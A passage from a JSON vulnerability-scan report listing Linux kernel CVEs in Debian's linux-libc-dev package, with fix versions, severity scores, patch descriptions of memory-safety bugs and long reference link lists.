"https://git.kernel.org/stable/c/da39ee627fd82b52068d4d5f115749a8b7d271f9", "https://linux.oracle.com/cve/CVE-2026-43328.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43328", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43328" ], "PublishedDate": "2026-05-08T14:16:42.397Z", "LastModifiedDate": "2026-11-06T16:18:35.387Z" }, { "VulnerabilityID": "CVE-2026-43329", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43329", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e58528437ba143a72bc61324fb4b4aad92541fd4e13f53860185ef023ff9e9e", "Title": "kernel: netfilter: flowtable: strictly check for maximum number of actions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: strictly check for maximum number of actions\n\nThe maximum number of flowtable hardware offload actions in IPv6 is:\n\n* ethernet mangling (4 payload actions, 2 for each ethernet address)\n* SNAT (4 payload actions)\n* DNAT (4 payload actions)\n* Double VLAN (4 vlan actions, 2 for popping vlan, and 2 for pushing)\n for QinQ.\n* Redirect (1 action)\n\nWhich makes 17, while the maximum is 16. But act_ct supports for tunnels\nactions too. Note that payload action operates at 32-bit word level, so\nmangling an IPv6 address takes 4 payload actions.\n\nUpdate flow_action_entry_next() calls to check for the maximum number of\nsupported actions.\n\nWhile at it, rise the maximum number of actions per flow from 16 to 24\nso this works fine with IPv6 setups.", "Severity": "HIGH", "CweIDs": [ "CWE-122", "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23329", "https://access.redhat.com/errata/RHSA-2026:26427", "https://access.redhat.com/errata/RHSA-2026:26428", "https://access.redhat.com/errata/RHSA-2026:27713", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:33899", "https://access.redhat.com/errata/RHSA-2026:33900", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34095", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:43252", "https://access.redhat.com/errata/RHSA-2026:44230", "https://access.redhat.com/errata/RHSA-2026:44231", "https://access.redhat.com/errata/RHSA-2026:44259", "https://access.redhat.com/errata/RHSA-2026:44262", "https://access.redhat.com/errata/RHSA-2026:47702", "https://access.redhat.com/errata/RHSA-2026:47727", "https://access.redhat.com/errata/RHSA-2026:54187", "https://access.redhat.com/errata/RHSA-2026:55618", "https://access.redhat.com/errata/RHSA-2026:55761", "https://access.redhat.com/errata/RHSA-2026:55762", "https://access.redhat.com/errata/RHSA-2026:55763", "https://access.redhat.com/errata/RHSA-2026:55837", "https://access.redhat.com/errata/RHSA-2026:56224", "https://access.redhat.com/errata/RHSA-2026:56225", "https://access.redhat.com/errata/RHSA-2026:56853", "https://access.redhat.com/errata/RHSA-2026:56911", "https://access.redhat.com/security/cve/CVE-2026-43329", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464096", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2468124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31786", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:26427", "https://git.kernel.org/linus/76522fcdbc3a02b568f5d957f7e66fc194abb893%20%287.0-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-43329.mbox", "https://git.kernel.org/stable/c/504c9456699dcf4d15195ef34a0fa94a80bfc877", "https://git.kernel.org/stable/c/5382bb03e9c33b089d60788478b922a2dca284cc", "https://git.kernel.org/stable/c/57c78bd2e2dd08897acd35b2bf8bcef322e36f5e", "https://git.kernel.org/stable/c/76522fcdbc3a02b568f5d957f7e66fc194abb893", "https://git.kernel.org/stable/c/879959a7a2be814dd57568655eafa3d8f4d0309e", "https://git.kernel.org/stable/c/ead66c77303f760f6c30be96e2e20d5a77cef614", "https://git.kernel.org/stable/c/fe9018d3e94329f1951b00805a8640bc06f56ead", "https://linux.oracle.com/cve/CVE-2026-43329.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-43329", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43329.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43329" ], "PublishedDate": "2026-05-08T14:16:42.52Z", "LastModifiedDate": "2026-10-19T20:18:13.59Z" }, { "VulnerabilityID": "CVE-2026-43378", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43378", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e275f20685f0bdc0dc466cb5bbce761784539c83a61610ef39db6df7f0bfff10", "Title": "kernel: smb: server: fix use-after-free in smb2_open()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: server: fix use-after-free in smb2_open()\n\nThe opinfo pointer obtained via rcu_dereference(fp-\u003ef_opinfo) is\ndereferenced after rcu_read_unlock(), creating a use-after-free\nwindow.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43378", "https://git.kernel.org/linus/1e689a56173827669a35da7cb2a3c78ed5c53680%20%287.0-rc4%29", "https://git.kernel.org/stable/c/190e5f808e8058640b408ccfed25440b441a718a", "https://git.kernel.org/stable/c/1e689a56173827669a35da7cb2a3c78ed5c53680", "https://git.kernel.org/stable/c/54b48ae83de8bb06e65079d96368efe359d4909c", "https://git.kernel.org/stable/c/8f5b1a7cb009a93c48e9e334a2f59a660f9afc07", "https://git.kernel.org/stable/c/b720c84087cb547f23ce03eab93568c1769e4556", "https://git.kernel.org/stable/c/e1b21e6066615e7d3d3a7aa2677e415e563fd7cc", "https://lore.kernel.org/linux-cve-announce/2026050832-CVE-2026-43378-d7e3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43378", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://www.cve.org/CVERecord?id=CVE-2026-43378" ], "PublishedDate": "2026-05-08T15:16:48.99Z", "LastModifiedDate": "2026-06-17T10:49:29.15Z" }, { "VulnerabilityID": "CVE-2026-43380", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43380", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:94dc99ca3c43af3fd1c4a1903e25c17d0cdca092bf7d0cfe21b9b35b083c9d51", "Title": "kernel: hwmon: (pmbus/q54sj108a2) fix stack overflow in debugfs read", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pmbus/q54sj108a2) fix stack overflow in debugfs read\n\nThe q54sj108a2_debugfs_read function suffers from a stack buffer overflow\ndue to incorrect arguments passed to bin2hex(). The function currently\npasses 'data' as the destination and 'data_char' as the source.\n\nBecause bin2hex() converts each input byte into two hex characters, a\n32-byte block read results in 64 bytes of output. Since 'data' is only\n34 bytes (I2C_SMBUS_BLOCK_MAX + 2), this writes 30 bytes past the end\nof the buffer onto the stack.\n\nAdditionally, the arguments were swapped: it was reading from the\nzero-initialized 'data_char' and writing to 'data', resulting in\nall-zero output regardless of the actual I2C read.\n\nFix this by:\n1. Expanding 'data_char' to 66 bytes to safely hold the hex output.\n2. Correcting the bin2hex() argument order and using the actual read count.\n3. Using a pointer to select the correct output buffer for the final\n simple_read_from_buffer call.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43380", "https://git.kernel.org/linus/25dd70a03b1f5f3aa71e1a5091ecd9cd2a13ee43%20%287.0-rc3%29", "https://git.kernel.org/stable/c/24a7b9daa103fa963b3fd37d8805b23e01621976", "https://git.kernel.org/stable/c/25dd70a03b1f5f3aa71e1a5091ecd9cd2a13ee43", "https://git.kernel.org/stable/c/52db5ef163c96f916d424e472fb17aadc35a9f7a", "https://git.kernel.org/stable/c/73a7a345816946d276ad2c46c8bb771de67cfc46", "https://git.kernel.org/stable/c/a0fc1b9c738fba231f190ab960c83202722efee5", "https://git.kernel.org/stable/c/b48a0f8d4541a4f6651dc9a64430ce9fdf5c120b", "https://git.kernel.org/stable/c/c59090c50f62a17129fc4c5407bc4071305a9e82", "https://lore.kernel.org/linux-cve-announce/2026050832-CVE-2026-43380-d98b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43380", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43380" ], "PublishedDate": "2026-05-08T15:16:49.207Z", "LastModifiedDate": "2026-06-17T10:49:29.37Z" }, { "VulnerabilityID": "CVE-2026-43386", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43386", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4a46916901b9574ea14471ee898f5c3b3f8c60df31a60e1d3e532eb3c52f4f19", "Title": "kernel: staging: rtl8723bs: fix potential out-of-bounds read in rtw_restruct_wmm_ie", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: rtl8723bs: fix potential out-of-bounds read in rtw_restruct_wmm_ie\n\nThe current code checks 'i + 5 \u003c in_len' at the end of the if statement.\nHowever, it accesses 'in_ie[i + 5]' before that check, which can lead\nto an out-of-bounds read. Move the length check to the beginning of the\nconditional to ensure the index is within bounds before accessing the\narray.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43386", "https://git.kernel.org/linus/a75281626fc8fa6dc6c9cc314ee423e8bc45203b%20%287.0-rc4%29", "https://git.kernel.org/stable/c/12cc6e8f8d4245b7b5a408c6fc8ab1d098d67020", "https://git.kernel.org/stable/c/209644e25757c499e1c1f08c071ea0386d4448b6", "https://git.kernel.org/stable/c/4dd2d9cf563c54e09d5f7eacf95c5b8f538b513b", "https://git.kernel.org/stable/c/6ff2243d5e05a5239e39d4ba61d96b0ea3bf7259", "https://git.kernel.org/stable/c/768f25613a9fe6766d15a4a72979657adfc1c6d8", "https://git.kernel.org/stable/c/a75281626fc8fa6dc6c9cc314ee423e8bc45203b", "https://git.kernel.org/stable/c/d97fc1b29513010b60fde874c7f0ba816744e18c", "https://git.kernel.org/stable/c/e14a1148f02e8cf1ca380d57e4b95ca36c97f45d", "https://lore.kernel.org/linux-cve-announce/2026050835-CVE-2026-43386-c764@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43386", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43386" ], "PublishedDate": "2026-05-08T15:16:49.933Z", "LastModifiedDate": "2026-06-17T10:49:30.087Z" }, { "VulnerabilityID": "CVE-2026-43426", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43426", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:112f4b557b343d18fb14f6d55c14881cbeb27abff83b3f8a7ec7282a64000ae0", "Title": "kernel: usb: renesas_usbhs: fix use-after-free in ISR during device removal", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: renesas_usbhs: fix use-after-free in ISR during device removal\n\nIn usbhs_remove(), the driver frees resources (including the pipe array)\nwhile the interrupt handler (usbhs_interrupt) is still registered. If an\ninterrupt fires after usbhs_pipe_remove() but before the driver is fully\nunbound, the ISR may access freed memory, causing a use-after-free.\n\nFix this by calling devm_free_irq() before freeing resources. This ensures\nthe interrupt handler is both disabled and synchronized (waits for any\nrunning ISR to complete) before usbhs_pipe_remove() is called.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43426", "https://git.kernel.org/linus/3cbc242b88c607f55da3d0d0d336b49bf1e20412%20%287.0-rc4%29", "https://git.kernel.org/stable/c/0b7d11fd6e742ecc0b1eca44b4f0b93140c74bae", "https://git.kernel.org/stable/c/1899edac312ef17a7234851686e8a703f56d0a84", "https://git.kernel.org/stable/c/3cbc242b88c607f55da3d0d0d336b49bf1e20412", "https://git.kernel.org/stable/c/51afaf919bbaacdd9cc9e146033ae0a743a42dd7", "https://git.kernel.org/stable/c/6287e0c01ccb818e7214f88d885ffb7c9e81b0e0", "https://git.kernel.org/stable/c/6ffe44f022c95b1b29c691d2169c5abc046f7580", "https://git.kernel.org/stable/c/9c6159d5b72d5fc265cce5da04f27d730b552e69", "https://git.kernel.org/stable/c/c7012fc73dab4829404fedeeaa8531f12ac8545f", "https://lore.kernel.org/linux-cve-announce/2026050849-CVE-2026-43426-eef1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43426", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43426" ], "PublishedDate": "2026-05-08T15:16:54.74Z", "LastModifiedDate": "2026-06-17T10:49:34.567Z" }, { "VulnerabilityID": "CVE-2026-43427", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43427", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:46b4ea3c2bc98e272205ad74830af2adaea5ef577cd4dd41197e93664bff0470", "Title": "kernel: usb: class: cdc-wdm: fix reordering issue in read code path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: class: cdc-wdm: fix reordering issue in read code path\n\nQuoting the bug report:\n\nDue to compiler optimization or CPU out-of-order execution, the\ndesc-\u003elength update can be reordered before the memmove. If this\nhappens, wdm_read() can see the new length and call copy_to_user() on\nuninitialized memory. This also violates LKMM data race rules [1].\n\nFix it by using WRITE_ONCE and memory barriers.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43427", "https://git.kernel.org/linus/8df672bfe3ec2268c2636584202755898e547173%20%287.0-rc4%29", "https://git.kernel.org/stable/c/170e8daca24da6edb4be82ab01abf44e87af387b", "https://git.kernel.org/stable/c/276aef0fd2b92f41b920ac891c72cadeee957934", "https://git.kernel.org/stable/c/4ee3062bf2c9a722afef429826e8607eaf3fc6a0", "https://git.kernel.org/stable/c/638328ca9c17ae6511ad62198c57bae32ffa3c91", "https://git.kernel.org/stable/c/67ed312124bb1b61858778ac0b985b48961c862a", "https://git.kernel.org/stable/c/8df672bfe3ec2268c2636584202755898e547173", "https://git.kernel.org/stable/c/c8fa96ed021923dae147bcd9f9205b8df7b82360", "https://git.kernel.org/stable/c/e3c874b05901dc519054b5107d16620e6d2b5fea", "https://linux.oracle.com/cve/CVE-2026-43427.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050849-CVE-2026-43427-12cc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43427", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", 